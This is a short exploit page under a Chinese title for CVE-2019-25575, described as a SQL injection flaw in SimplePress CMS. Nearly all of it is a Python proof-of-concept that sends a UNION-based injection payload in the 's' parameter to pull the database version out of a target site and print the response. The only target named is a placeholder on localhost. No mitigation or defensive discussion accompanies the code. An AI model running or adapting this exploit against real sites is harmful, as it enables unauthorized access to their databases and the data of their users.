CVE-2019-25575 SimplePress CMS SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2019-25575 SimplePress CMS SQL Injection Vulnerable parameters: 'p' and 's' """ # Payload to extract database version using UNION based SQL injection # Note: The number of columns might need adjustment based on the specific query payload = { "p": "1", "s": "1' UNION SELECT 1, version(), 3, 4, 5-- -" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}") print(f"[+] Payload: {payload}") print("[+] Response snippet:") print(response.text[:500]) # Display part of the response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1/simplepress/index.php" exploit_sqli(target)